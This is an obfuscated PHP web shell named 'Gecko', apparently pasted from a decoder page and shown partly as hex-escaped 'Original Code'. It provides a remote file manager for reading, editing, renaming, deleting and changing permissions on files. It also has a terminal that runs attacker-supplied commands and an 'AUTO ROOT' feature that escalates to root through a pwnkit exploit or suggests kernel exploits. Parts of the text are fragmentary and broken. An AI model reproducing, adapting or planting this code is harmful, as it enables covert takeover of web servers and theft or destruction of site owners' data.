${${"GLOBALS"}["pdcflzb"]}[${${"GLOBALS"}["syglgogire"]}]; else break; if (${${"GLOBALS"}["lbdylir"]} = opendir(${${"GLOBALS"}["njgztpho"]})) { $mfttjdr = "readDir"; $mfdlwx = "openDir"; while (${$mfttjdr} = @readdir(${$mfdlwx})) { if (${${"GLOBALS"}["nlqvcexcsqf"]} != "." && ${${"GLOBALS"}["nlqvcexcsqf"]} != "..") { $tnlkxbt = "dir"; if ($GLOBALS["fungsi"][2](${$tnlkxbt} . "/" . ${${"GLOBALS"}["nlqvcexcsqf"]})) { ${"GLOBALS"}["nnorxlnz"] = "dir"; ${"GLOBALS"}["hqwryip"] = "readDir"; ${${"GLOBALS"}["hoapkwhmi"]}[] = ${${"GLOBALS"}["nnorxlnz"]} . "/" . ${${"GLOBALS"}["hqwryip"]}; } else { $okajffecrpe = "files"; ${"GLOBALS"}["syxnqhpm"] = "dir"; ${$okajffecrpe}[] = ${${"GLOBALS"}["syxnqhpm"]} . "/" . ${${"GLOBALS"}["nlqvcexcsqf"]}; } } } } } foreach (${${"GLOBALS"}["sotsubd"]} as ${${"GLOBALS"}["eujpqmf"]}) { $GLOBALS["fungsi"][24](${${"GLOBALS"}["eujpqmf"]}); } ${${"GLOBALS"}["hoapkwhmi"]} = array_reverse(${${"GLOBALS"}["wbptvix"]}); foreach (${${"GLOBALS"}["hoapkwhmi"]} as ${$noonhxdh}) { $cxcsfelbfhu = "dir"; $GLOBALS["fungsi"][25](${$cxcsfelbfhu}); } } function remove_dot($file) { ${"GLOBALS"}["jpfaiodwqo"] = "FILES"; $dogkxkzkb = "FILES"; ${$dogkxkzkb} = ${${"GLOBALS"}["eujpqmf"]}; $pudflfwtqsq = "pch"; $jwcffcesuian = "pch"; ${$pudflfwtqsq} = explode(".", ${${"GLOBALS"}["jpfaiodwqo"]}); return ${$jwcffcesuian}[0]; } function perms($file) { ${"GLOBALS"}["muhifdbszpx"] = "perms"; $budbfbkwgim = "info"; ${"GLOBALS"}["niqosh"] = "perms"; $vkfyefzxen = "perms"; $mshayo = "file"; $qyigwvd = "perms"; ${${"GLOBALS"}["snucwrjx"]} = $GLOBALS["fungsi"][6](${$mshayo}); $yweukowba = "perms"; ${"GLOBALS"}["etuurjljd"] = "perms"; ${"GLOBALS"}["fpruwhymp"] = "perms"; ${"GLOBALS"}["hoqhssjete"] = "perms"; $vbbwezosh = "perms"; $ydjzbkyoavu = "perms"; ${"GLOBALS"}["wxwxtxk"] = "info"; $bopusfto = "info"; ${"GLOBALS"}["kireyz"] = "info"; ${"GLOBALS"}["ahvxprf"] = "perms"; ${"GLOBALS"}["dmvfhxchs"] = "info"; if ((${${"GLOBALS"}["snucwrjx"]} & 0xC000) == 0xC000) { ${${"GLOBALS"}["wrrdfeiqpw"]} = "s"; } elseif ((${$yweukowba} & 0xA000) == 0xA000) { ${${"GLOBALS"}["wrrdfeiqpw"]} = "l"; } elseif ((${$qyigwvd} & 0x8000) == 0x8000) { ${"GLOBALS"}["ozvqvtmzoa"] = "info"; ${${"GLOBALS"}["ozvqvtmzoa"]} = "-"; } elseif ((${$vkfyefzxen} & 0x6000) == 0x6000) { ${${"GLOBALS"}["wrrdfeiqpw"]} = "b"; } elseif ((${$vbbwezosh} & 0x4000) == 0x4000) { ${"GLOBALS"}["urcivwumrnb"] = "info"; ${${"GLOBALS"}["urcivwumrnb"]} = "d"; } elseif ((${${"GLOBALS"}["snucwrjx"]} & 0x2000) == 0x2000) { ${${"GLOBALS"}["wrrdfeiqpw"]} = "c"; } elseif ((${${"GLOBALS"}["hoqhssjete"]} & 0x1000) == 0x1000) { $ygtvtpoq = "info"; ${$ygtvtpoq} = "p"; } else { ${${"GLOBALS"}["wrrdfeiqpw"]} = "u"; } ${${"GLOBALS"}["wxwxtxk"]} .= ((${${"GLOBALS"}["snucwrjx"]} & 0x0100) ? "r" : "-"); ${"GLOBALS"}["nmbuvcrctn"] = "info"; ${$bopusfto} .= ((${${"GLOBALS"}["snucwrjx"]} & 0x0080) ? "w" : "-"); ${${"GLOBALS"}["nmbuvcrctn"]} .= ((${${"GLOBALS"}["snucwrjx"]} & 0x0040) ? ((${${"GLOBALS"}["snucwrjx"]} & 0x0800) ? "s" : "x") : ((${${"GLOBALS"}["etuurjljd"]} & 0x0800) ? "S" : "-")); $gzdcjjppeft = "perms"; ${${"GLOBALS"}["wrrdfeiqpw"]} .= ((${${"GLOBALS"}["fpruwhymp"]} & 0x0020) ? "r" : "-"); $vczgyuadbh = "perms"; ${${"GLOBALS"}["kireyz"]} .= ((${${"GLOBALS"}["muhifdbszpx"]} & 0x0010) ? "w" : "-"); ${${"GLOBALS"}["wrrdfeiqpw"]} .= ((${$gzdcjjppeft} & 0x0008) ? ((${${"GLOBALS"}["ahvxprf"]} & 0x0400) ? "s" : "x") : ((${$vczgyuadbh} & 0x0400) ? "S" : "-")); $hybyysyp = "perms"; ${${"GLOBALS"}["dmvfhxchs"]} .= ((${${"GLOBALS"}["snucwrjx"]} & 0x0004) ? "r" : "-"); ${$budbfbkwgim} .= ((${${"GLOBALS"}["niqosh"]} & 0x0002) ? "w" : "-"); ${${"GLOBALS"}["wrrdfeiqpw"]} .= ((${$hybyysyp} & 0x0001) ? ((${$ydjzbkyoavu} & 0x0200) ? "t" : "x") : ((${${"GLOBALS"}["snucwrjx"]} & 0x0200) ? "T" : "-")); return ${${"GLOBALS"}["wrrdfeiqpw"]}; }
?>
Did this file decode correctly?
Original Code
\n\n\n\x3chead\x3e\n\x20 \x20\x20\x3cm\x65ta c\x68ars\x65t\x3d\"U\x54F-8\">\n \x20 \n \x20<\x74\x69tl\x65>\x47\x65c\x6b\x6f [ "; echo $_SERVER["\x53\x45\x52\x56E\x52\x5f\x4e\x41ME"]; echo "\x20]"; echo "\x20 \x20\x20\x20\x20\x20\x20\x3c/\x64iv\x3e\n\x20\x20\x20 \x20 \x20 \x3c/\x75\x6c\x3e\n \x20 \x20 \x3c\x74a\x62le st\x79\x6ce=\x22\x77\x69\x64\x74\x68:\x20\x3100%\x3b\x22>\n \x20\x20\x20 \x20\x20\x20\x20 \x20\x3cth\x65ad>\n\x20\x20 \x20\x20 \x20\x20\x20\x20 \x20 \n \x20 \x20 \x20 \x20\x20\x20 \x20 \x20 \x3c\x74h>Name\x3c/\x74h>\n \x20\x20 \x20\x20\x20 \x20\x20 \x20\x20\x20\x20 \x20<\x74h>\x53\x69\x7a\x65\x41ct\x69o\x6e\x3c/t\x68>\n\x20\x20\x20 \x20 \x20 \x20\x20 \n \x20 \x20 \x20 \n\x20\x20\x20\x20 \x20\x20\x20 \x20\x20\x20\x3cf\x6f\x72\x6d \x61ctio\x6e\x3d\"\"\x20\x6d\x65t\x68\x6f\x64\x3d\x22\x70\x6f\x73t\x22\x3e\n\x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20 \x20 \x3ct\x62\x6f\x64\x79>\n \x20\x20\x20\x20\x20\x20 \x20\x20 \x20\x20\x20\x20 \x20<\x21--\x20G\x65c\x6b\x6f\x20\x46\x6f\x6cd\x65\x72\x20\x46i\x6c\x65 \x4d\x61n\x61ge\x72\x20--\x3e\n\x20\x20 \x20 \x20\x20\x20\x20\x20 \x20 \x20\x20 \x20 \x20\x20"; foreach (${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6f\x6a\x72\x78\x6c\x75\x72nj"]} as ${${"G\x4cO\x42\x41LS"}["dhva\x6fy"]}) { $pywhhkgke = "fu\x6e\x67s\x69"; echo " \x20 \x20 \x20 \x20 \x20\x20 \x20 \x20 "; if (${$pywhhkgke}[2](${${"\x47\x4cOB\x41L\x53"}["\x63\x75k\x7aglo\x74\x62\x78"]})) { echo " \x20\x20 \x20 \x20 \x20\x20 \x20\x20 \x20 \x20\x20\x20\x20 <\x74r>\n \x20\x20\x20\x20 \x20 \x20 \x20 \x20 \x20 \x20\x20 \x3ctd>\x3c\x69\x6eput \x74y\x70\x65=\"\x63hec\x6bb\x6fx\x22\x20\x6eame\x3d\"\x63hec\x6b[]\x22\x20v\x61\x6c\x75e=\""; echo ${${"\x47LO\x42\x41\x4cS"}["\x63\x75\x6bzg\x6c\x6f\x74b\x78"]}; $ehsvypxf = "_D"; echo "\">\x26\x6e\x62\x73\x70\x3b"; echo ${$puqomzystyu}; echo "\x3c/a\x3e\n \x20\x20\x20 \x20\x20\x20 \x20 \x20 \x20\x20 \x20\x20 \x20 \x20 <\x74\x64\x3e[\x20\x44\x49\x52 ]\x3c/t\x64>\n \x20\x20 \x20\x20\x20 \x20 \x20 \x20\x20\x20\x20 \x20\x20 \x20 \x20\x20\x20\x20 \x20\x20<\x74d\x3e\n\x20 \x20 \x20\x20 \x20\x20 \x20 \x20 \x20 \x20\x20\x20\x20\x20 \x20\x20 \x20\x20 \x20 \x20"; ${"\x47L\x4f\x42\x41\x4c\x53"}["s\x69\x78\x62\x70l\x65"] = "\x66\x75\x6e\x67\x73\x69"; $nlocfdtif = "\x5fD"; if (${${"GL\x4f\x42A\x4c\x53"}["s\x6e\x78jpd\x75o\x6c"]}[4](${${"\x47\x4c\x4fBA\x4c\x53"}["\x73n\x78j\x70du\x6f\x6c"]}[0]() . "/" . ${${"G\x4cOB\x41\x4c\x53"}["c\x75kz\x67l\x6f\x74b\x78"]})) { echo "\x3c\x66o\x6et co\x6c\x6fr\x3d\x22#\x30\x30\x66f00\">"; } elseif (!${${"\x47LO\x42\x41\x4cS"}["snx\x6apduo\x6c"]}[5](${${"G\x4c\x4f\x42\x41L\x53"}["\x73\x6e\x78j\x70\x64\x75\x6f\x6c"]}[0]() . "/" . ${${"\x47\x4c\x4f\x42AL\x53"}["\x63uk\x7a\x67\x6c\x6ft\x62x"]})) { echo "\x3c\x66\x6fnt c\x6f\x6cor\x3d\x22re\x64\">"; } echo perms(${${"GLO\x42\x41\x4c\x53"}["\x73n\x78\x6ap\x64uo\x6c"]}[0]() . "/" . ${$nlocfdtif}); echo " \x20\x20 \x20 \x20\x20 \x20 \x20 \x20\x20 \x20\x20 \x3c/t\x64>\n\x20 \x20 \x20 \x20 \x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x20\x3c\x21--\x20\x41c\x74io\x6e\x20F\x6f\x6cd\x65r\x20Mana\x67e\x72 --\x3e\n \x20 \x20\x20\x20 \x20 \x20\x20\x20 \x20 \x20\x20\x20 \x20\x20\x3c\x74\x64\x3e\x3ca \x68ref\x3d\"?d="; echo hx(${${"\x47\x4cO\x42\x41LS"}["\x73\x6e\x78jpd\x75\x6f\x6c"]}[0]()); echo "&re\x3d"; echo hx(${$ehsvypxf}); echo "\"\x20cl\x61ss\x3d\x22ba\x64\x67e-\x61\x63t\x69o\x6e-\x65d\x69\x74o\x72\x22\x3e\x3c/\x69\x3e\x3c/\x61>&\x6e\x62\x73p\x3b<\x69\x20\x63\x6cas\x73\x3d\"fa-\x73\x6fli\x64 f\x61-\x75s\x65\x72-p\x65\x6e\x22>\x3c/a>\x3c/t\x64>\n \x20\x20\x20\x20 \x20\x20\x20 \x20\x20 \x20 \x20 \x20\x20 \x3c/tr\x3e\n \x20\x20 \x20 \x20\x20\x20 \x20 \x20 \x20\x20 \x20\x20"; } echo "\n\x20 \x20 \x20\x20\x20\x20\x20\x20 \x20\x20 \x20 \x20 "; } echo "\n \x20\x20 \x20 \x20 \x20\x20\n\x20 \x20\x20\x20\x20\x20\x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x20\x3c\x69 c\x6c\x61\x73s=\"\x66\x61-s\x6fl\x69d f\x61-\x70e\x6e-\x74o-\x73\x71ua\x72\x65\">\x3c/i\x3e<\x69 c\x6c\x61ss=\"fa-\x73\x6f\x6ci\x64\x20f\x61-u\x73er-pe\x6e\x22\x3e\x3c/\x69>\x3c/\x61\x3e\x26n\x62\x73p\x3b<\x61\x20\x68r\x65\x66\x3d\x22?\x64="; echo hx(${$dmbkcmjxgn}[0]()); echo "\x26d\x6f\x6e="; echo hx(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x65nn\x74\x74\x6c\x6b\x61\x64"]}); echo "\"\x20\x63l\x61\x73\x73\x3d\"bad\x67\x65-\x61ct\x69on-d\x6fw\x6el\x6f\x61d\"><\x69\x20class\x3d\"\x66\x61-sol\x69\x64\x20f\x61-down\x6c\x6f\x61\x64\">\n\x20 \x20\x20 \x20\x20 \x20 \x20\x20 \x20 \n\x20 \x20 \x20 \x20\x20\x20 \x20\x20\x20\x20\x20\x20\x20 \x20\x20"; } echo "\n\x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x20\x20"; } echo "\n \x20\x20 \x20 \x20\x20 \x20 \n \x20 \x20 <\x62r\x3e\n\x20 \x20 \x20 \x20\n\x20 \x20\x20 \x20\x20 \x20<\x6f\x70\x74\x69\x6fn v\x61\x6cu\x65\x3d\"\x75\x6ez\x69\x70\x22\x3eUnzip\x3c/\x6f\x70t\x69o\x6e>\n \x20 \x20 \x20\x20\x20\x20\x20 \x3copt\x69\x6f\x6e value\x3d\x22z\x69\x70\x22\x3e\x5a\x69p\n \x20 \x20\x3c\x69n\x70\x75\x74 \x74ype=\x22\x73\x75bmit\" n\x61me\x3d\x22\x73\x75b\x6d\x69\x74-a\x63t\x69o\x6e\x22\x20\x76\x61lue=\x22Sub\x6d\x69t\" c\x6c\x61\x73\x73\x3d\x22b\x74\x6e-sub\x6d\x69t\" \x73t\x79l\x65\x3d\"p\x61\x64\x64in\x67: 8.\x33\x70\x78 35p\x78\x3b\"\x3e\n\x20\x20\x20\x20 \x20\x20\x3c/fo\x72\x6d>\n\n \x20 \x20\x20\x20\x20<!--\x20M\x6fd\x61\x6c\x20Po\x70\x20Jq\x75ery \x43r\x65a\x74e \x46ol\x64\x65\x72/F\x69\x6c\x65 \x42\x79\x20./MrM\x61\x64 --\x3e\n\x20\x20\x20 \x20\x3c\x64\x69v c\x6cas\x73\x3d\"\x6d\x6fd\x61\x6c\x22>\n\x20\x20\x20 \x20 \x20\x20\x20 \x20\x20\x3cdiv\x20cl\x61\x73s\x3d\"mod\x61\x6c-c\x6f\x6etai\x6eer\"\x3e\n \x20 \x20 \x20 \x20 \x20 \x3cdi\x76 \x63l\x61\x73\x73\x3d\"m\x6fda\x6c-\x68e\x61der\x22\x3e\n \x20 \x20\x20 \x20\x20\x20\x20 \x20 \x20\x20\x20<\x683\x3e\x3c\x62\x3e<\x69 id\x3d\x22\x6d\x6f\x64a\x6c-ti\x74l\x65\"\x3e\${t\x68\x69s\x2eti\x74le}\x3c/\x69\x3e\x3c/b>\x3c/h3>\n \x20 \x20 \x20\x20\x20\x20 \x20\x20 \n\x20 \x20\x20\x20 \x20 \x20 \x20 \x20 \x3cd\x69\x76\x20\x63la\x73\x73\x3d\x22\x6d\x6fd\x61l-bo\x64\x79\"\x3e\n\x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20 \x20\x20\x3cfo\x72m a\x63ti\x6f\x6e=\x22\" \x6de\x74\x68od\x3d\"\x70\x6f\x73\x74\x22\x3e\n \x20 \x20 \x20 \x20 \x20 \x20 \x20\x20 \x20 <\x73pan\x20\x69\x64=\"mod\x61\x6c-\x69\x6epu\x74\x22\x3e\x3c/\x73\x70a\x6e>\n\x20 \x20\x20 \x20 \x20 \x20\x20\x20\x20\x20 \x20\x20\x20 \x20\x3c\x64i\x76 \x63lass=\"\x6dodal-b\x74n-\x66\x6frm\"\x3e\n\x20 \x20 \x20 \x20\x20 \x20\x20 \x20 \x20 \x3cinpu\x74\x20\x74ype=\"\x73\x75bm\x69\x74\" n\x61\x6de=\"\x73\x75\x62mit\x22 val\x75\x65\x3d\"Submit\" \x63la\x73s\x3d\x22\x62t\x6e-mo\x64al-\x63\x6c\x6fse\x20\x62o\x78-\x73h\x61\x64\x6f\x77\">&n\x62s\x70;\x3c\x62utto\x6e\x20\x63\x6c\x61\x73s\x3d\"\x62\x74n-m\x6fd\x61l-close\x20\x62ox-\x73\x68adow\"\x20id\x3d\x22\x63\x6cose-\x6dodal\x22\x3e\x43lo\x73e\n\x20 \x20 \x20 \x20\x20 \x20\x20 \n\x20\x20\x20 \x20 \x20 \x20 \x20\x20\n\x20\x20\x20\x20\x20 \x20\x20 \x20\n\x20\x20 \x20 \n \x20 \x20 \x20\x20\x20\x20\x20\x20 \x3c\x64\x69\x76 cl\x61\x73s\x3d\"code-\x65ditor-head\">\n\x20 \x20 \x20\x20 \x20 \x20\x20\x20\x20 \x20\x20\x20
<\x69 \x63\x6c\x61s\x73\x3d\x22\x66\x61-\x73\x6fl\x69d\x20fa-\x63\x6f\x64e\x22>\x3c/\x69>\x26\x6e\x62\x73\x70;\x20\x43o\x64\x65 \x45di\x74or\x20: "; echo unx($_GET["\x66"]); echo "\x3c/h3>\n\x20\x20 \x20 \x20\x20\x20 \x20 \x20\x3c/d\x69v\x3e\n \x20\x20 \x20\x20 \x20\x20 \x20 \x3c\x64iv\x20cla\x73s=\x22\x63\x6f\x64e-\x65\x64i\x74\x6fr-b\x6fd\x79\"\x3e\n \x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20 <\x66orm\x20act\x69\x6fn\x3d\x22\" \x6deth\x6fd=\x22p\x6fst\x22\x3e\n \x20\x20 \x20 \x20 \x20\x20 \x20 \x20 \x20 \x3ct\x65\x78\x74\x61\x72ea\x20\x6e\x61m\x65\x3d\"c\x6fd\x65-\x65\x64\x69\x74or\x22\x20clas\x73=\"\x62\x6fx-\x73\x68ad\x6fw\x22\x20a\x75t\x6f\x66oc\x75\x73\x3e"; echo ${${"\x47\x4cO\x42\x41\x4cS"}["\x73\x6e\x78\x6ap\x64u\x6fl"]}[10](${${"\x47\x4cO\x42\x41\x4c\x53"}["s\x6e\x78j\x70d\x75\x6f\x6c"]}[11](${${"G\x4c\x4f\x42A\x4cS"}["s\x6e\x78\x6a\x70\x64uo\x6c"]}[0]() . "/" . unx($_GET["f"]))); echo "C\x6co\x73\x65\n \x20 \x20 \x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20 \x20 \x20\n\x20 \x20 \x20 \x20 \x20 \x20 \x20\x20 \x20\n\x20 \x20\x20\x20 \x20 \x3c/\x64iv>\n \x20\x20 \x20\x3c/\x64\x69\x76\x3e\n\x20 \x20\x20"; } echo "\n\x20 \x20 "; if (isset($_GET["\x74\x65\x72m\x69nal"])) { echo " \x20\x20 \x20\x20\x20\x3c\x64\x69v cl\x61s\x73\x3d\"t\x65r\x6d\x69n\x61\x6c\">\n\x20 \x20 \x20\x20 \x20<\x64i\x76 cl\x61\x73s\x3d\"t\x65r\x6d\x69n\x61l-\x63on\x74a\x69ne\x72\x22>\n\x20\x20\x20 \x20 \x20 \x20 \x20 \x20 \x3cdiv\x20c\x6c\x61\x73\x73=\"\x74\x65\x72\x6d\x69n\x61\x6c-\x68\x65\x61d\"\x3e\n \x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20<\x75l>\n \x20\x20 \x20\x20 \x20 \x20\x20 \x20 \x20 \x20\x3c\x6ci i\x64=\"t\x65rm\x69nal-t\x69t\x6ce\x22\x3e\x3cb\x3e\x26\x6eb\x73\x70\x3bTE\x52MIN\x41\x4c\x3c/\x6c\x69\x3e\n\x20 \x20 \x20\x20 \x20 \x20 \x20 \x20 \x20 <\x61 h\x72ef=\"\x22\x20\x63\x6c\x61\x73\x73=\"cl\x6fs\x65-\x74\x65\x72mi\x6eal\x22>\x3ci cla\x73s\x3d\"f\x61-so\x6ci\x64\x20fa-\x72\x69g\x68t-f\x72om-brack\x65t\"\x3e\x3c/i\x3e\x3c/\x61\x3e\x3c/\x6c\x69>\n\x20\x20\x20\x20 \x20 \x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20 \x3c/u\x6c>\n\x20\x20\x20\x20 \x20\x20 \x20 \x20\x20 \n\x20 \x20\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20\x20\x3ct\x65x\x74are\x61\x20c\x6cass=\"b\x6fx-\x73h\x61\x64\x6f\x77\x22\x20dis\x61\x62l\x65\x64\x3e"; if (isset($_POST["t\x65\x72mina\x6c"])) { echo ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x73n\x78jp\x64\x75\x6f\x6c"]}[10](cmd($_POST["\x74\x65\x72\x6din\x61l-text"] . " \x32\x3e&\x31")); } echo "\x3c/te\x78\x74\x61\x72e\x61>\n\x20 \x20\x20\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20\x20 \n\x20\x20\x20\x20\x20 \x20 \x20 \x20\x20\x20\x20 \n\x20\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20<\x6ci\x3e\x22\x20c\x6cass\x3d\"\x62tn-\x6d\x6f\x64a\x6c-\x63\x6c\x6f\x73\x65\x22\x3e\n\x20 \x20 \x20 \x20 \x20\x20 \x20\x20 \x20\x20\x20\x20\x20\n \x20\x20\x20 \x20\x20\x3c/d\x69v\x3e\n \x20"; } echo "\n\x20 \x20 "; if ($_GET["ter\x6d\x69\x6e\x61l"] == "\x72o\x6ft") { $odogsyuij = "\x66\x75ng\x73\x69"; echo "\x20\x20 \x20
\n \x20\x20\x20\x20 \x20\x20 \x3c\x64\x69v clas\x73=\x22t\x65rminal-c\x6fnta\x69\x6eer\x22>\n\x20 \x20\x20 \x20 \x20 \x20 \x3c\x64\x69\x76 cl\x61s\x73=\x22te\x72mi\x6e\x61l-hea\x64\x22>\n\x20 \x20\x20 \x20 \x20\x20\x3cul\x3e\n \x20 \x20 \x20 \x20 \x20\x20 \x20\x20 \x3c\x6c\x69 i\x64=\"\x74e\x72\x6d\x69\x6eal-\x74\x69t\x6ce\x22><\x62><\x69\x20cla\x73s\x3d\"\x66a-\x73\x6f\x6c\x69\x64\x20f\x61-te\x72m\x69\x6e\x61\x6c\x22\x3e\x26\x6e\x62\x73p;A\x55T\x4f\x20RO\x4f\x54\x3c/li\x3e\n \x20 \x20\x20\x20 \x20 \x20 \x20\x20 \x20\x20\x20 \x3cl\x69\x3e<\x69 cla\x73s=\x22fa-\x73olid \x66\x61-ri\x67\x68\x74-\x66\x72om-b\x72\x61\x63k\x65t\x22>\x3c/i\x3e\x3c/\x61\x3e\x3c/\x6ci>\n \x20 \x20 \x20 \x20 \x20 \x20\x20\x20 \x20\x3c/ul\x3e\n \x20 \x20 \x20 \x20\x20\x20\x20\x3c/\x64i\x76\x3e\n \x20 \x20\x20 \x20\x20 \x20\x20 \x20<\x64\x69\x76 c\x6c\x61\x73\x73\x3d\x22term\x69\x6ea\x6c-\x62od\x79\">\n \x20\x20 \x20\x20\x20 \x3c\x74ext\x61r\x65\x61 \x6eam\x65=\"\x22 \x64isa\x62\x6c\x65d>"; if (${$odogsyuij}[3](".ma\x64-\x72\x6fo\x74") && ${${"\x47\x4c\x4f\x42AL\x53"}["sn\x78\x6a\x70\x64\x75o\x6c"]}[3]("pwn\x6bit")) { $ewmuqcvmm = "r\x65sp\x6fn\x73\x65"; ${"\x47\x4cO\x42\x41L\x53"}["\x72\x69mesh\x6a"] = "\x66\x75\x6e\x67\x73i"; ${$ewmuqcvmm} = ${${"G\x4c\x4f\x42AL\x53"}["ri\x6d\x65\x73\x68\x6a"]}[11](".\x6da\x64-r\x6f\x6ft"); ${"\x47\x4c\x4f\x42\x41L\x53"}["p\x6eruc\x66\x6d\x6bpr"] = "r\x5f\x74\x65\x78t"; ${${"GLOB\x41\x4c\x53"}["\x69d\x65y\x64\x79r\x65"]} = explode(" ", ${${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x77\x77\x68\x66\x66\x75"]}); if (${${"G\x4c\x4fB\x41\x4c\x53"}["\x70nru\x63\x66m\x6bpr"]}[0] == "ui\x64\x3d\x30(\x72\x6fo\x74)") { if (isset($_POST["\x73u\x62mit-r\x6f\x6f\x74"])) { echo cmd("./pwnki\x74\x20\x22" . $_POST["\x72\x6f\x6f\x74-t\x65rm\x69nal"] . " \x20\x32\x3e\x26\x31\x22"); } } else { echo "Thi\x73\x20Dev\x69\x63\x65\x20Is\x20\x4e\x6ft\x20\x56\x75ln\x65ra\x62\x6ce\n"; echo cmd("lsb\x5fr\x65le\x61s\x65 -\x61") . "\n"; echo "Kern\x65l\x20\x56e\x72s\x69o\x6e\x20:\x20" . suggest_exploit() . "\n"; } } else { ${${"\x47LO\x42A\x4c\x53"}["\x73\x6e\x78j\x70d\x75\x6fl"]}[24]("\x2em\x61\x64-\x72o\x6ft"); } echo "<\x69\x6e\x70\x75t typ\x65\x3d\"tex\x74\"\x20n\x61me\x3d\x22\x72\x6f\x6ft-\x74\x65\x72\x6d\x69nal\x22 \x63la\x73s\x3d\"ter\x6d\x69\x6ea\x6c-\x69nput\x22 \x70l\x61c\x65hol\x64\x65r=\""; echo "r\x6f\x6ft" . "@" . $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]; echo "\" au\x74o\x66\x6fcus>\n \x20 \x20 \x20 \x20\x20\x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20\x3c\x6c\x69>\x3c\x69\x6e\x70ut typ\x65\x3d\"\x73\x75b\x6d\x69t\"\x20\x6ea\x6de=\"s\x75\x62mit-ro\x6f\x74\" \x76al\x75\x65=\x22\x3e\x22\x20\x63\x6c\x61ss\x3d\"btn-\x6d\x6fd\x61\x6c-cl\x6f\x73\x65\"\x3e\x3c/\x6ci>\n\x20\x20\x20 \x20\x20\x20 \x20\x20\x20 \x20 \x20 \x20 \x20\x3c/\x75l>\n\x20\x20 \x20 \x20\x20 \x20\x20 \x20 \x3c/for\x6d>\n \x20\x20\x20 \x20\x20\x20\x20\x20 \x20
\n\x20\x20\x20\x20 \x20\x20\x3c/d\x69\x76\x3e\n \x20 \x20\x20 \x3c/div>\n \x20\x20"; } echo "\n\x20 \x20 "; if ($_GET["\x72e"] == true) { echo "\x20\x20\x20\x20 \x20 \x3c\x64i\x76 \x63las\x73\x3d\"\x6d\x6f\x64\x61\x6c \x61\x63ti\x76e\x22\x3e\n\x20\x20\x20 \x20\x20\x20 \x20\x20\x3cdi\x76\x20c\x6c\x61\x73s=\"mo\x64\x61l-c\x6f\x6et\x61in\x65\x72\x22>\n\x20 \x20\x20 \x20 \x20<\x64i\x76\x20c\x6c\x61s\x73\x3d\"\x6do\x64al-h\x65a\x64er\x22>\n\x20 \x20\x20\x20 \x20 \x20 \x20\x20\x20 \x3c\x683\x3e<\x62\x3e\x52en\x61m\x65\x20: "; echo unx($_GET["r\x65"]); echo "\x3c/b\x3e\x3c/h3\x3e\n \x20\x20 \x20 \x20 \x20 \x20\n\x20 \x20 \x20 \x20\x20\x20\x20 \x20 \x20\x3cspa\x6e\x20i\x64\x3d\x22\x6do\x64al-\x69npu\x74\x22><\x69np\x75\x74\x20ty\x70e=\x22\x74\x65\x78\x74\" n\x61me=\x22ren\x61meFi\x6c\x65\" \x63\x6c\x61s\x73\x3d\x22moda\x6c-\x63\x72\x65a\x74e-\x69nput\" \x70la\x63eh\x6f\x6c\x64\x65\x72\x3d\x22Rena\x6d\x65\"\x3e\n \x20\x20 \x20\x20\x20\x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20 \n \x20\x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x20\x20 \x20\x20\x20\x20\x20\x20 <\x69\x6e\x70\x75t\x20\x74\x79\x70e\x3d\x22\x73\x75bm\x69\x74\x22 n\x61me\x3d\x22s\x75\x62m\x69\x74\"\x20\x76al\x75e\x3d\x22S\x75\x62mi\x74\" clas\x73\x3d\"btn-\x6do\x64al-\x63los\x65\x20\x62ox-s\x68\x61do\x77\"\x3e\x26nbs\x70\x3b\x3cb\x75t\x74\x6fn \x63\x6cas\x73\x3d\x22b\x74\x6e-mo\x64a\x6c-\x63los\x65 b\x6fx-sha\x64ow\x20cl\x6f\x73\x65-\x62\x74n-\x73\"\x3eCl\x6fse\n\x20 \x20\x20\x20\x20 \x20\x20 \x20 \x20\x20\x20 \x20 \x20\x20\x20\x3c/d\x69v>\n \x20 \x20 \x20 \x20 \x20 \x20 \x20\n\x20 \x20 \x20\x20 \x20 \x20\x20 \x20\x3c/div>\n\x20 \x20\x20\x20\x20\x20 \x20\n \x20\x20 \x20\x20\n\x20\x20\x20\x20 \x20\x20 \x20\x20\x20
\n \x20\x20 \x20 \x20 \x20 \x20 \x20<\x68\x33\x3e\x3c\x69 \x69d\x3d\x22mo\x64al-\x74i\x74l\x65\">Ch\x61\x6ege\x20\x50e\x72mis\x73\x69on\x20:\x20"; echo unx($_GET["c\x68"]); echo "\x3c/i>\x3c/\x62\x3e\x3c/\x683>\n\x20 \x20\x20 \x20\x20\x20\x20\x20 \x20\x20 \x3c/\x64\x69v>\n\x20\x20\x20\x20\x20 \x20\x20 \x20 \x20\n\x20 \x20 \x20 \x20 \x20\x20 \x20\x20\x20 \x20 \x20<\x69npu\x74\x20ty\x70\x65=\x22\x6eu\x6d\x62er\" \x6e\x61me=\x22chFi\x6c\x65\x22\x20\x63\x6c\x61s\x73\x3d\"\x6d\x6fd\x61\x6c-c\x72\x65ate-\x69nput\x22\x20\x70\x6ca\x63\x65\x68\x6fl\x64er\x3d\x22\x30\x3775\x22\x3e\x3c/\x73pa\x6e>\n \x20 \x20 \x20\x20\x20 \x20\x20 \x20 \x20 \x20\x26\x6e\x62s\x70\x3b<\x62utto\x6e\x20\x63l\x61\x73\x73=\x22b\x74n-\x6d\x6f\x64a\x6c-clo\x73\x65\x20box-\x73h\x61do\x77 c\x6c\x6f\x73e-\x62\x74\x6e-\x73\x22>\x43\x6co\x73\x65\n\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x20\x20 \n\x20 \x20\x20 \x20 \x20 \x20\x20\x20 